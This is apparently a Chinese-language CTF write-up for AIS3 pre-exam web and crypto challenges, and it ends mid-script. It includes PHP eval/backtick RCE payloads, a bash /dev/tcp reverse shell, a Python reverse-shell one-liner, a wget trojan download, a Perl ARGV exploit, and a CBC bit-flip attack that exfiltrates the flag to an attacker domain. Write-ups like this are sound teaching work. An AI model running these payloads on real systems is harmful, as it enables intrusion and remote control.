<h3 id="web-3"><a class="header-link" href="#web-3"></a>Web 3</h3>
<p>題目 code 我沒存，但大致上是這樣:</p>
<pre class="hljs"><code><span class="hljs-meta"><?php</span>
highlight_file(<span class="hljs-keyword">__file__</span>);
$_ = $_GET[<span class="hljs-string">'🍣'</span>];
<span class="hljs-keyword">if</span> (stripos($_, <span class="hljs-string">'"'</span>) !== <span class="hljs-keyword">false</span> || stripos($_, <span class="hljs-string">"'"</span>) !== <span class="hljs-keyword">false</span>)
<span class="hljs-keyword">die</span>(<span class="hljs-string">'GG'</span>);
<span class="hljs-keyword">eval</span>(<span class="hljs-string">'die("'</span>.substr($_, <span class="hljs-number">0</span>, <span class="hljs-number">16</span>).<span class="hljs-string">'");'</span>);</code></pre><p>16 個 byte 放到 <code>die(" [PAYLOAD] ");</code> 中去 eval，其中 payload 不能包含單雙引號。</p>
<p>稍微查一下 php 的特性，會發現 <a href="http://php.net/manual/en/language.types.string.php#language.types.string.parsing">php double-quote string 可以放 dollar <code>$</code></a> ，可以用來 expand variables，進一步測試發現還可以做 function call，參考<a href="http://php.net/manual/en/language.types.string.php#language.types.string.parsing">這裡</a> 的 "Complex (curly) syntax"。</p>
<p>然後 php <a href="http://php.net/manual/en/language.operators.execution.php">backtick</a> 可以用來 call shell，那目標明確：結合兩者直接拿 shell。</p>
<p>先來個測試的 payload，一般做 proof of concept 的測試我都是用 <code>sleep 3</code>, <code>sh</code>, <code>cat /dev/urandom</code>, <code>yes</code> 之類來看會不會 hang 住，進而測試 RCE 可能性。</p>
<pre class="hljs"><code>🍣=${`sleep <span class="hljs-number">5</span>`}</code></pre><p>果然真的睡了五秒才回，那可以 RCE 了，基本上可以拿 flag，但能不能拿到 reverse shell 呢？</p>
<p>長度限制只有 16 bytes，reverse shell 的 payload 落落長很難在 16 bytes 內，那該怎麼拉長自己的 payload ？只好再依靠 php 幫我們一把，我們把 payload 用 get 傳，再靠 PHP interpret 變數並 RCE:</p>
<pre class="hljs"><code>🍣=${`$_GET[<span class="hljs-number">1</span>]`}&<span class="hljs-number">1</span>=RCE_PAYLOAD</code></pre><p>Python script:</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-keyword">import</span> requests
payload = <span class="hljs-string">'bash -i >& /dev/tcp/240.1.23/12345 0>&1 2>&1'</span>
r = requests.get(<span class="hljs-string">'http://104.199.235.135:31333/'</span>, params={<span class="hljs-string">'🍣'</span>:<span class="hljs-string">'${`$_GET[1]`}'</span>, <span class="hljs-string">'1'</span>: payload})
print(r.text)</code></pre><h3 id="web-4"><a class="header-link" href="#web-4"></a>Web 4</h3>
<p>先用 <a href="https://github.com/YSc21/webcocktail">scanner</a> 掃到 <code>.git</code> 後用 <a href="https://github.com/internetwache/GitTools">gitdumper</a> 拿下來，可以看到 perl 的 source code:</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/perl</span>
<span class="hljs-comment"># My uploader!</span>
<span class="hljs-keyword">use</span> strict;
<span class="hljs-keyword">use</span> warnings;
<span class="hljs-keyword">use</span> CGI;
<span class="hljs-keyword">my</span> $cgi = CGI->new;
<span class="hljs-keyword">print</span> $cgi->header();
<span class="hljs-keyword">print</span> <span class="hljs-string">"<body style=\"background: #caccf7 url('https://i.imgur.com/Syv2IVk.png');padding: 30px;\">"</span>;
<span class="hljs-keyword">print</span> <span class="hljs-string">"<p style='color:red'>No BUG Q_____Q</p>"</span>;
<span class="hljs-keyword">print</span> <span class="hljs-string">"<br>"</span>;
<span class="hljs-keyword">print</span> <span class="hljs-string">"<pre>"</span>;
<span class="hljs-keyword">if</span>( $cgi->upload(<span class="hljs-string">'file'</span>) ) {
<span class="hljs-keyword">my</span> $file = $cgi->param(<span class="hljs-string">'file'</span>);
<span class="hljs-keyword">while</span>(<$file>) {
<span class="hljs-keyword">print</span> <span class="hljs-string">"$_"</span>;
}
}
<span class="hljs-keyword">print</span> <span class="hljs-string">"</pre>"</span>;</code></pre><p>看了我也不知道要幹麻，那就 Google 一下吧，翻了一下發現這題之前已經出過一模一樣的：</p>
<ul class="list">
<li><a href="https://dciets.com/writeups/2016/09/18/csaw-quals-ctf-2016-i-got-id/">https://dciets.com/writeups/2016/09/18/csaw-quals-ctf-2016-i-got-id/</a></li>
<li><a href="https://tsublogs.wordpress.com/2016/09/18/606/">https://tsublogs.wordpress.com/2016/09/18/606/</a></li>
<li><a href="https://www.blackhat.com/docs/asia-16/materials/asia-16-Rubin-The-Perl-Jam-2-The-Camel-Strikes-Back.pdf">https://www.blackhat.com/docs/asia-16/materials/asia-16-Rubin-The-Perl-Jam-2-The-Camel-Strikes-Back.pdf</a></li>
</ul>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># Python 3.6.5</span>
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> re
s = requests.session()
<span class="hljs-string">'''
1. To send multiple files, we have tp use list here
2. Each element is a tuple, (POST name, (filename, file content))
3. The filename of ARGV must be empty
'''</span>
files = [(<span class="hljs-string">'file'</span>, (<span class="hljs-string">''</span>, <span class="hljs-string">'ARGV'</span>)), (<span class="hljs-string">'file'</span>, (<span class="hljs-string">'filename1'</span>, <span class="hljs-string">'content1'</span>))]
<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
rce = <span class="hljs-string">'sh -c /readflag|xxd|'</span>
r = s.post(<span class="hljs-string">'http://104.199.235.135:31334/cgi-bin/index.cgi?'</span> + lfi_filepath, files=files)
<span class="hljs-comment">#print(r.text)</span>
print(re.findall(<span class="hljs-string">r'<pre>(.*)</pre>'</span>, r.text, re.S)[<span class="hljs-number">0</span>])
<span class="hljs-string">'''
Raw payload:
POST /cgi-bin/index.cgi?/etc/passwd HTTP/1.1
Host: 104.199.235.135:31334
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Length: 255
Content-Type: multipart/form-data; boundary=83b02634dc0d43e7992884eb46e3aed5
--83b02634dc0d43e7992884eb46e3aed5
Content-Disposition: form-data; name="file"; filename=""
ARGV
--83b02634dc0d43e7992884eb46e3aed5
Content-Disposition: form-data; name="file"; filename="filename1"
content1
--83b02634dc0d43e7992884eb46e3aed5--
'''</span></code></pre><p>可以 RCE 基本上可以拿 flag，但能不能彈 reverse shell 呢？嘗試執行 reverse shell payload 卻發現 bash 馬上關掉，那只好用土一點的方法，先 wget 下載木馬，再執行 reverse shell，這次是 python 2.7 的 <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">reverse shell</a></p>
<pre class="hljs"><code>python -c <span class="hljs-string">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("240.1.2.3",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</span></code></pre><pre class="hljs"><code><span class="hljs-attribute">wget</span> <span class="hljs-number">240.1.2.3:1234</span> -O /tmp/abcd</code></pre><p>出完全一樣的題目好像不太好(?)</p>
<h2 id="crypto"><a class="header-link" href="#crypto"></a>Crypto</h2>
<h3 id="crypto-1"><a class="header-link" href="#crypto-1"></a>Crypto 1</h3>
<p>忘了，貌似是算完 PoW 就拿到 flag</p>
<h3 id="crypto-2"><a class="header-link" href="#crypto-2"></a>Crypto 2</h3>
<p>XOR 題：</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3 </span>
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">import</span> random
<span class="hljs-keyword">with</span> open(<span class="hljs-string">'flag'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> data:
flag = data.read()
<span class="hljs-keyword">assert</span>(flag.startswith(<span class="hljs-string">b'AIS3{'</span>))
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">extend</span><span class="hljs-params">(key, L)</span>:</span>
kL = len(key)
<span class="hljs-keyword">return</span> key * (L // kL) + key[:L % kL]
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">xor</span><span class="hljs-params">(X, Y)</span>:</span>
<span class="hljs-keyword">return</span> bytes([x ^ y <span class="hljs-keyword">for</span> x, y <span class="hljs-keyword">in</span> zip(X, Y)])
key = os.urandom(random.randint(<span class="hljs-number">8</span>, <span class="hljs-number">12</span>))
plain = flag + key
key = extend(key, len(plain))
cipher = xor(plain, key)
<span class="hljs-keyword">with</span> open(<span class="hljs-string">'flag-encrypted'</span>, <span class="hljs-string">'wb'</span>) <span class="hljs-keyword">as</span> data:
data.write(cipher)</code></pre><p>因為他最後會把 key 加到 plain text 上，利用這個特性可以藉由 flag 開頭是 <code>AIS3{</code>推導出剩下的 bytes，基本上就是把 flag rotate 了 k 個 bytes，再跟 flag 本身 xor：</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># Python 3.6.5</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> xor
<span class="hljs-keyword">with</span> open(<span class="hljs-string">'flag.enc'</span>, <span class="hljs-string">'rb'</span>) <span class="hljs-keyword">as</span> f:
c = f.read()
<span class="hljs-keyword">for</span> key_len <span class="hljs-keyword">in</span> range(<span class="hljs-number">8</span>, <span class="hljs-number">13</span>):
parts = []
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(len(c)//key_len + <span class="hljs-number">1</span>):
parts.append(c[i*key_len: (i+<span class="hljs-number">1</span>)*key_len])
print(parts[<span class="hljs-number">-1</span>].hex())
<span class="hljs-comment">#x ^ y = z</span>
x = [xor(i, j) <span class="hljs-keyword">for</span> i, j <span class="hljs-keyword">in</span> zip(<span class="hljs-string">b'AIS3{'</span>, c)] + [<span class="hljs-keyword">None</span> <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(key_len - len(<span class="hljs-string">'AIS3{'</span>))]
right_rotate = len(parts[<span class="hljs-number">-1</span>])
y = x[-right_rotate:] + x[:-right_rotate]
z = c[-key_len:]
z = z[-right_rotate:] + z[:-right_rotate]
z = [bytes([i]) <span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> z]
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(key_len):
<span class="hljs-keyword">if</span> y[i] <span class="hljs-keyword">is</span> <span class="hljs-keyword">None</span> <span class="hljs-keyword">and</span> x[i] <span class="hljs-keyword">is</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">None</span>:
y[i] = xor(z[i], x[i])
<span class="hljs-keyword">if</span> x[i-right_rotate] <span class="hljs-keyword">is</span> <span class="hljs-keyword">None</span>:
x[i-right_rotate] = y[i]
<span class="hljs-keyword">if</span> x[i] <span class="hljs-keyword">is</span> <span class="hljs-keyword">None</span> <span class="hljs-keyword">and</span> y[i] <span class="hljs-keyword">is</span> <span class="hljs-keyword">not</span> <span class="hljs-keyword">None</span>:
x[i] = xor(z[i], y[i])
<span class="hljs-keyword">if</span> y[(i+right_rotate)%key_len] <span class="hljs-keyword">is</span> <span class="hljs-keyword">None</span>:
y[(i+right_rotate)%key_len] = x[i]
print(xor(<span class="hljs-string">b''</span>.join(x), c))</code></pre><h3 id="crypto-3-(unsolved,-thanks-to-@how2hack)"><a class="header-link" href="#crypto-3-(unsolved,-thanks-to-@how2hack)"></a>Crypto 3 (unsolved, thanks to @how2hack)</h3>
<p>Server code:</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">from</span> Crypto.PublicKey <span class="hljs-keyword">import</span> RSA
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes
<span class="hljs-comment">#from proof import proof</span>
<span class="hljs-comment"># some encoding problem in docker ( not important )</span>
<span class="hljs-keyword">import</span> io
<span class="hljs-keyword">import</span> sys
sys.stdout = io.TextIOWrapper(sys.stdout.buffer, encoding=<span class="hljs-string">'utf-8'</span>)
<span class="hljs-comment">#with open('flag') as data:</span>
<span class="hljs-comment"># flag = data.read()</span>
normal = <span class="hljs-string">'\033[0m'</span>
bold = <span class="hljs-string">'\033[1m'</span>
red = <span class="hljs-string">'\033[91m'</span>
green = <span class="hljs-string">'\033[92m'</span>
yellow = <span class="hljs-string">'\033[93m'</span>
blue = <span class="hljs-string">'\033[94m'</span>
purple = <span class="hljs-string">'\033[95m'</span>
aquamarine = <span class="hljs-string">'\033[96m'</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">cprint</span><span class="hljs-params">(text, color = normal)</span>:</span>
<span class="hljs-keyword">if</span> color == normal:
print(text)
<span class="hljs-keyword">else</span>:
print(<span class="hljs-string">'{}{}{}'</span>.format(color, text, normal))
<span class="hljs-comment">#proof()</span>
m = <span class="hljs-string">"""
I owe you 10 bucks
- 2018/4/1 Alice
"""</span>.strip()
key = RSA.generate(<span class="hljs-number">2048</span>, os.urandom)
m = int.from_bytes(m.encode(<span class="hljs-string">'utf-8'</span>), <span class="hljs-string">'big'</span>)
s = key.sign(m, <span class="hljs-number">0</span>)[<span class="hljs-number">0</span>]
cprint(<span class="hljs-string">'◢'</span> + <span class="hljs-string">'■'</span> * <span class="hljs-number">50</span> + <span class="hljs-string">'◣'</span>, bold)
cprint(<span class="hljs-string">"- 2018/4/1"</span>, green)
cprint(<span class="hljs-string">"Alice : Here is the receipt for the loan."</span>, yellow)
cprint(<span class="hljs-string">"m = {}"</span>.format(m))
cprint(<span class="hljs-string">"Alice : Here is the digital signature (s, n, e) to prove that I actually wrote that receipt."</span>, yellow)
cprint(<span class="hljs-string">"s = {}"</span>.format(s))
cprint(<span class="hljs-string">"n = {}"</span>.format(key.n))
cprint(<span class="hljs-string">"e = {}"</span>.format(key.e))
cprint(<span class="hljs-string">"Bob : OK, remember to pay me back someday."</span>, aquamarine)
cprint(<span class="hljs-string">'◥'</span> + <span class="hljs-string">'■'</span> * <span class="hljs-number">50</span> + <span class="hljs-string">'◤'</span>, bold)
cprint(<span class="hljs-string">''</span>)
cprint(<span class="hljs-string">"🚀 on millions years later.."</span>, red)
cprint(<span class="hljs-string">''</span>)
cprint(<span class="hljs-string">'◢'</span> + <span class="hljs-string">'■'</span> * <span class="hljs-number">50</span> + <span class="hljs-string">'◣'</span>, bold)
cprint(<span class="hljs-string">"- 1002018/4/1"</span>, green)
cprint(<span class="hljs-string">"Bob : Dormammu, I've come to bargain."</span>, aquamarine)
cprint(<span class="hljs-string">"Alice : Uh..., I'm not Dormammu."</span>, yellow)
cprint(<span class="hljs-string">"Bob: Whatever..., I think it's time for you to pay me back."</span>, aquamarine)
cprint(<span class="hljs-string">"Bob : Here is the receipt for the loan and also the signature."</span>, aquamarine)
<span class="hljs-keyword">try</span>:
m = int(input(<span class="hljs-string">"m = "</span>))
s = int(input(<span class="hljs-string">"s = "</span>))
<span class="hljs-keyword">if</span> key.verify(m, (s,)):
m = long_to_bytes(m)
print(m)
print(m.split())
print(m.split()[<span class="hljs-number">3</span>])
bucks = int(m.split()[<span class="hljs-number">3</span>])
print(bucks)
<span class="hljs-keyword">if</span> bucks > <span class="hljs-number">10</span>:
cprint(<span class="hljs-string">"Alice : Oh crap, I don't have enough money..., maybe this flag can compensate you : {}"</span>.format(flag), yellow)
<span class="hljs-keyword">else</span>:
cprint(<span class="hljs-string">"Alice : Come on man, it's just 10 bucks..."</span>, yellow)
exit(<span class="hljs-number">0</span>)
<span class="hljs-keyword">else</span>:
cprint(<span class="hljs-string">"Alice : What have you done..."</span>, yellow)
<span class="hljs-keyword">except</span>:
exit(<span class="hljs-number">0</span>)
...</code></pre><p>基本上是要偽造簽名，我一開始嘗試直接爆破 s，嘗試可能的 s 使得 $s^e = m$，並且 m 會讓 <code>int(m.split()[3]) > 10</code>，不過 s 跑了幾千萬都是失敗，因為太難讓 m 出現三個 0x20 (空格) 了。</p>
<p>既然單純爆破 s 不太可行，那就把原本合法的 m 乘上去吧，畢竟原本合法的 m 有不少的 0x20，這個好性質使得乘上 m 之後，很快就可以搜出合法的解： </p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># Python 3.6.5</span>
<span class="hljs-comment"># Solution thanks to @how2hack</span>
<span class="hljs-keyword">from</span> Crypto.Util.number <span class="hljs-keyword">import</span> long_to_bytes
m = <span class="hljs-number">554925652019585156475787890525225102046075682323304548835475744305803283492262994789</span>
s = <span class="hljs-number">8893931972182818044887642802041512151637835508778733483367383922956088851535543045353394423623009836954355437544623799405164469870666785493058916365730516406144818232329263261760598226562026674786971455782715020921619619272079877118489050655967728826115222391008470575222102106503254745378891954974052584021934609709120680006462744982083961724037574311385291857678940299733481927081819784710368972540801034570491587923992073030931037900174432334370101464769099165656306608605116392023443785561469993626851198599801789525811680963922516035028163499926100820053526995911509771419784466544291151531282528959015443443997</span>
n = <span class="hljs-number">21232057752203050626327375413774655245866966677562081461618777215050100809614174448121718664073874770580592047257544090518156549247464236449881573516955891064948348640120104781529771203540220265613570642486380465030497213834318682366615946716455109515130588928786185167829699861919862539288169713824716271127284133643717019874393701490287994956317815564214797946176560219681181431433749699809927415253346547229042693265155026780261727400030789693357428715693850685842499335548901588448935551794449164274161376491308273104734354438424848886632452109979780615769063146540382650313788634482118159125354009606248992156239</span>
e = <span class="hljs-number">65537</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">2</span>**<span class="hljs-number">30</span>):
t = pow(i, e, n) * m % n
t= long_to_bytes(t)
<span class="hljs-comment">#print(m.split())</span>
<span class="hljs-keyword">try</span>:
<span class="hljs-keyword">if</span> len(t.split()) >= <span class="hljs-number">4</span> <span class="hljs-keyword">and</span> int(t.split()[<span class="hljs-number">3</span>]) > <span class="hljs-number">10</span>:
print(t)
<span class="hljs-keyword">except</span> ValueError:
<span class="hljs-keyword">pass</span></code></pre><h3 id="crypto-4"><a class="header-link" href="#crypto-4"></a>Crypto 4</h3>
<p>Server code:</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-keyword">import</span> os, sys
<span class="hljs-keyword">import</span> re
<span class="hljs-keyword">import</span> random
<span class="hljs-keyword">from</span> urllib.error <span class="hljs-keyword">import</span> HTTPError, URLError
<span class="hljs-keyword">from</span> urllib.request <span class="hljs-keyword">import</span> urlopen
<span class="hljs-keyword">from</span> urllib.parse <span class="hljs-keyword">import</span> quote
<span class="hljs-keyword">from</span> base64 <span class="hljs-keyword">import</span> b64encode, b64decode
<span class="hljs-keyword">from</span> Crypto.Cipher <span class="hljs-keyword">import</span> AES
<span class="hljs-keyword">from</span> proof <span class="hljs-keyword">import</span> proof
<span class="hljs-keyword">with</span> open(<span class="hljs-string">'flag'</span>) <span class="hljs-keyword">as</span> data:
flag = data.read()
<span class="hljs-comment"># simplify mail format</span>
mail_for_ctfplayer = <span class="hljs-string">'''
From: [email protected]
--BOUNDARY
Type: text
Welcome to AIS3 pre-exam.
--BOUNDARY
Type: cmd
echo 'This is the blog of oalieno'
web 'https://oalieno.github.io'
echo 'This is the blog of bamboofox team'
web 'https://bamboofox.github.io/'
--BOUNDARY
Type: text
You can find some useful tutorial on there.
And you might be wondering where is the flag?
Just hold tight, and remember that patient is virtue.
--BOUNDARY
Type: text
Here is your flag : {}
--BOUNDARY
Type: text
Hope you like our crypto challenges.
Thanks for solving as always.
I'll catch you guys next time.
See ya!
--BOUNDARY
'''</span>.format(flag).lstrip().encode(<span class="hljs-string">'utf-8'</span>)
quotes = [<span class="hljs-string">'Keep on going never give up.'</span>,
<span class="hljs-string">'Believe in yourself.'</span>,
<span class="hljs-string">'Never say die.'</span>,
<span class="hljs-string">"Don't give up and don't give in."</span>,
<span class="hljs-string">'Quitters never win and winners never quit.'</span>]
seen = <span class="hljs-keyword">False</span>
key = os.urandom(<span class="hljs-number">16</span>)
iv = os.urandom(<span class="hljs-number">16</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">pad</span><span class="hljs-params">(text)</span>:</span>
L = -len(text) % <span class="hljs-number">16</span>
<span class="hljs-keyword">return</span> text + bytes([L]) * L
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">unpad</span><span class="hljs-params">(text)</span>:</span>
L = text[<span class="hljs-number">-1</span>]
<span class="hljs-keyword">if</span> L > <span class="hljs-number">16</span>:
<span class="hljs-keyword">raise</span> ValueError
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">1</span>, L + <span class="hljs-number">1</span>):
<span class="hljs-keyword">if</span> text[-i] != L:
<span class="hljs-keyword">raise</span> ValueError
<span class="hljs-keyword">return</span> text[:-L]
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">parse_mail</span><span class="hljs-params">(mail)</span>:</span>
raw_mail = <span class="hljs-string">b""</span>
<span class="hljs-comment"># parse many chunk</span>
<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
<span class="hljs-comment"># throw away the delimeter</span>
_, _, mail = mail.partition(<span class="hljs-string">b'--BOUNDARY\n'</span>)
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> mail:
<span class="hljs-keyword">break</span>
<span class="hljs-comment"># parse Type</span>
type_, _, mail = mail.partition(<span class="hljs-string">b'\n'</span>)
type_ = type_.split(<span class="hljs-string">b': '</span>)[<span class="hljs-number">1</span>]
<span class="hljs-comment"># Type: text</span>
<span class="hljs-keyword">if</span> type_ == <span class="hljs-string">b'text'</span>:
text, _, mail = mail.partition(<span class="hljs-string">b'\n\n'</span>)
raw_mail += text + <span class="hljs-string">b'\n'</span>
<span class="hljs-comment"># Type: cmd</span>
<span class="hljs-keyword">elif</span> type_ == <span class="hljs-string">b'cmd'</span>:
<span class="hljs-comment"># parse many cmd</span>
<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
<span class="hljs-comment"># see '\n\n' then continue to next chunk</span>
<span class="hljs-keyword">if</span> mail[:<span class="hljs-number">1</span>] == <span class="hljs-string">b'\n'</span>:
mail = mail[<span class="hljs-number">1</span>:]
<span class="hljs-keyword">break</span>
<span class="hljs-comment"># parse cmd, content</span>
cmd, _, mail = mail.partition(<span class="hljs-string">b"'"</span>)
content, _, mail = mail.partition(<span class="hljs-string">b"'\n"</span>)
<span class="hljs-comment"># echo 'content' ( print some text )</span>
<span class="hljs-keyword">if</span> cmd.startswith(<span class="hljs-string">b'echo'</span>):
raw_mail += content + <span class="hljs-string">b'\n'</span>
<span class="hljs-comment"># web 'content' ( preview some of the text on webpage )</span>
<span class="hljs-keyword">elif</span> cmd.startswith(<span class="hljs-string">b'web'</span>):
print(quote(content), file=sys.stderr)
x = content.find(<span class="hljs-string">b'//'</span>)
<span class="hljs-keyword">if</span> x != <span class="hljs-number">-1</span>:
url = content[:x].decode(<span class="hljs-string">'utf-8'</span>) + <span class="hljs-string">'//'</span> + quote(content[x+<span class="hljs-number">2</span>:])
<span class="hljs-keyword">else</span>:
url = <span class="hljs-string">'http://'</span> + quote(content)
<span class="hljs-keyword">try</span>:
req = urlopen(url)
text = req.read()
raw_mail += <span class="hljs-string">b'+ '</span> + content + <span class="hljs-string">b'\n'</span>
raw_mail += <span class="hljs-string">b'\n'</span>.join(re.findall(<span class="hljs-string">b'<p>(.*)</p>'</span>, text)) + <span class="hljs-string">b'\n'</span>
<span class="hljs-keyword">except</span> (HTTPError, URLError) <span class="hljs-keyword">as</span> e:
<span class="hljs-keyword">pass</span>
<span class="hljs-keyword">return</span> raw_mail
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">read_mail</span><span class="hljs-params">(mail)</span>:</span>
<span class="hljs-comment"># I am so busy right now, no time to read the mails</span>
<span class="hljs-keyword">pass</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">getmail</span><span class="hljs-params">()</span>:</span>
<span class="hljs-keyword">global</span> seen
<span class="hljs-keyword">if</span> <span class="hljs-keyword">not</span> seen:
aes = AES.new(key, AES.MODE_CBC, iv)
mail = aes.encrypt(pad(mail_for_ctfplayer))
print(b64encode(mail).decode(<span class="hljs-string">'utf-8'</span>))
seen = <span class="hljs-keyword">True</span>
<span class="hljs-keyword">else</span>:
print(<span class="hljs-string">'you have read all mails.'</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">sendmail</span><span class="hljs-params">(mail)</span>:</span>
mail = b64decode(mail)
aes = AES.new(key, AES.MODE_CBC, iv)
mail = unpad(aes.decrypt(mail))
print(mail[<span class="hljs-number">8</span>*<span class="hljs-number">16</span>:<span class="hljs-number">10</span>*<span class="hljs-number">16</span>], file=sys.stderr)
mail = parse_mail(mail)
read_mail(mail)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">menu</span><span class="hljs-params">()</span>:</span>
print(<span class="hljs-string">''</span>)
print(<span class="hljs-string">'{:=^20}'</span>.format(<span class="hljs-string">' menu '</span>))
print(<span class="hljs-string">'1) ctf player mailbox'</span>)
print(<span class="hljs-string">'2) send me a mail'</span>)
print(<span class="hljs-string">'3) quit'</span>)
print(<span class="hljs-string">'='</span> * <span class="hljs-number">20</span>)
option = int(input(<span class="hljs-string">'> '</span>).strip())
<span class="hljs-keyword">if</span> option == <span class="hljs-number">1</span>:
getmail()
<span class="hljs-keyword">elif</span> option == <span class="hljs-number">2</span>:
mail = input(<span class="hljs-string">'mail : '</span>)
sendmail(mail)
<span class="hljs-keyword">elif</span> option == <span class="hljs-number">3</span>:
print(random.choice(quotes))
<span class="hljs-keyword">else</span>:
exit(<span class="hljs-number">0</span>)
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>:</span>
proof()
<span class="hljs-keyword">while</span> <span class="hljs-keyword">True</span>:
menu()
main()</code></pre><p>unpad 有好好檢查，沒什麼問題。但這題 padding oracle 仍然可做，不過有 PoW 要做，所以先思考看看有沒有別的作法，唯一比較可疑的是 <code>urlopen</code>，parse mail 回傳的東西不會印出來，那 <code>urlopen</code> 就有點多餘了。</p>
<p>我們有沒有辦法用 <code>urlopen</code> 去把 flag 傳回來呢？</p>
<p>先把 block 稍微排一下：</p>
<pre class="hljs"><code><span class="hljs-symbol">0 </span>b<span class="hljs-comment">'From: thor@ais3.'</span>
<span class="hljs-symbol">1 </span>b<span class="hljs-comment">'org\nTo: ctfplaye'</span>
<span class="hljs-symbol">2 </span>b<span class="hljs-comment">'[email protected]\n\n--BO'</span>
<span class="hljs-symbol">3 </span>b<span class="hljs-comment">'UNDARY\nType: tex'</span>
<span class="hljs-symbol">4 </span>b<span class="hljs-comment">'t\nWelcome to AIS'</span>
<span class="hljs-symbol">5 </span>b<span class="hljs-comment">'3 pre-exam.\n\n--B'</span>
<span class="hljs-symbol">6 </span>b<span class="hljs-comment">'OUNDARY\nType: cm'</span>
<span class="hljs-symbol">7 </span>b<span class="hljs-string">"d\necho 'This is "</span>
<span class="hljs-symbol">8 </span>b<span class="hljs-comment">'the blog of oali'</span>
<span class="hljs-symbol">9 </span>b<span class="hljs-string">"eno'\nweb 'https:"</span>
<span class="hljs-symbol">10 </span>b<span class="hljs-comment">'//oalieno.github'</span>
<span class="hljs-symbol">11 </span>b<span class="hljs-string">".io'\necho 'This "</span>
<span class="hljs-symbol">12 </span>b<span class="hljs-comment">'is the blog of b'</span>
<span class="hljs-symbol">13 </span>b<span class="hljs-string">"amboofox team'\nw"</span>
<span class="hljs-symbol">14 </span>b<span class="hljs-string">"eb 'https://bamb"</span>
<span class="hljs-symbol">15 </span>b<span class="hljs-comment">'oofox.github.io/'</span>
<span class="hljs-symbol">16 </span>b<span class="hljs-string">"'\n\n--BOUNDARY\nTy"</span></code></pre><p>我們可以利用 CBC 的特性，透過更改第 8 個 block 的密文，來更動第 9 個 block 的明文，雖然第 8 個 block 會解密成一堆爛掉的東西，但第 9 個 block 明文完全可控。</p>
<p>那如果我們把 flag 直接接在後面呢？這樣 <code>urlopen</code> 就會把解密後的 flag 傳回來了。</p>
<p>受限於 block size 的限制，我們的 domain name 要越短越好，所以直接上 <a href="http://dot.tk/">dot.tk</a> 申請一個免洗的 top domain，四個字 <code>abcd.tk</code> 是不用錢的。</p>
<p>回到題目，這裡第 8 個 block 解爛不會怎樣，反正有第 9 個 block 的單引號就好，所以我們可以把第 9 個 block 變成 <code>'\nweb 'abcd.tk/</code> （其實 domain也不用這麼短），後面 parse 會補 <code>http://</code>，第 10 個 block 之後就接 flag 解密的 block，就能看到 server 把 flag 放在 url 傳回來了。</p>
<p>Flag 有提到 <a href="https://nvd.nist.gov/vuln/detail/CVE-2017-17689">CVE-2017-17689</a> ，就是對 CBC 操作控制明文的 bug。</p>
<p>Script:</p>
<pre class="hljs"><code><span class="hljs-comment">#!/usr/bin/env python3</span>
<span class="hljs-comment"># Python 3.6.5</span>
<span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> base64
<span class="hljs-keyword">from</span> itertools <span class="hljs-keyword">import</span> product
chars = string.digits + string.ascii_letters
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">PoW</span><span class="hljs-params">(prefix)</span>:</span>
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> product(*[chars <span class="hljs-keyword">for</span> _ <span class="hljs-keyword">in</span> range(<span class="hljs-number">5</span>)]):
x = prefix + <span class="hljs-string">''</span>.join(i)
sha256 = hashlib.sha256()
sha256.update(x.encode())
